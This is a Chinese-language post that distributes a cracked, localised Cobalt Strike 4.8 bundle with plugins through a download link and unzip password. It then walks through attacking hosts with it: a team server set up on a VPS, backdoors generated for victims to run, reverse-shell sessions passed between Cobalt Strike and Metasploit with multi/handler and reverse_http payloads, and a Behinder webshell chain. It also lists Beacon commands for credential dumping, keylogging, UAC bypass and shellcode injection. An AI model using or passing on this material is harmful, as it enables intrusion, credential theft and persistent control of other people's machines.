CobaltStrike4.8汉化版带插件

下载地址
CobaltStrike4.8汉化版带插件 解压密码：mht
ZIP包链接：https://pan.baidu.com/s/1Dv1oHSBm6vNcY_YrxIWy5Q?pwd=p2n5

使用大致流程
创建团队服务器->客户端连接服务器->创建监听器->生成后门对应监听器->靶机运行后门成功上线->后渗透（提权，内网漫游，域渗透等）

一、安装

把全部文件下上传到外网VPS上，并给足权限

服务端运行起来

本地电脑使用客户端连接即可


主要输入HOST、Port、password即可

二、上线

1、设置监听器

2、生成木马后门

运行即可上线CS

3、指令大全

browserpivot 注入受害者浏览器进程
sleep 3 全部命令3秒执行
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covert 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd.exe  打开cmd终端
shell ipconfig 执行ipconfig命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗

简单执行命令

sleep 3 全部命令3秒执行(默认时60秒太长，)

执行系统命令要在命令前加个shell whoami

三、如何加载插件及EXE？

如果不想加载插件想直接上传成品exe文件也是可以的
Ladon插件/工具体积小、免杀
https://github.com/k8gege/Ladon

可以利用CS自身文件上传功能上传成品的exe或者直接使用插件

四、联动MSF

1、CS->MSF(CS把权限转交给MSF)

CS：
新建个监听器（监听的协议要与MSF一致，这里监听HTTP协议，那么MSF也要监听HTTP协议）
CS监听的协议是windows/foreign/reverse_http字样

spawn msf （要联动的会话上执行该命令）

MSF：
先选择监听模块 use exploit/multi/handler
set payload windows/meterpreter/reverse_http(http协议要与CS上的一致)

现在MSF也可以去操控目标主机了

2、MSF->CS(MSF把权限转交给CS)

前提：MSF已经得到了目标反弹的一个会话

第一步：
background 返回到MSF（从会话中返回到MSF）
MSF:  二次选择模块
use exploit/windows/local/payload_inject  
set payload windows/meterpreter/reverse_http （HTTP协议要与CS保持一致）
这里IP端口要和CS监听的一致，session选择之前会话的

CS:
新建个监听器

监听的协议要与MSF上的协议一致就行

成功之后CS上就会得到一个新的主机shell

3、冰蝎->MSF->CS

冰蝎项目地址：https://github.com/rebeyond/Behinder/releases/


之后可以在联动CS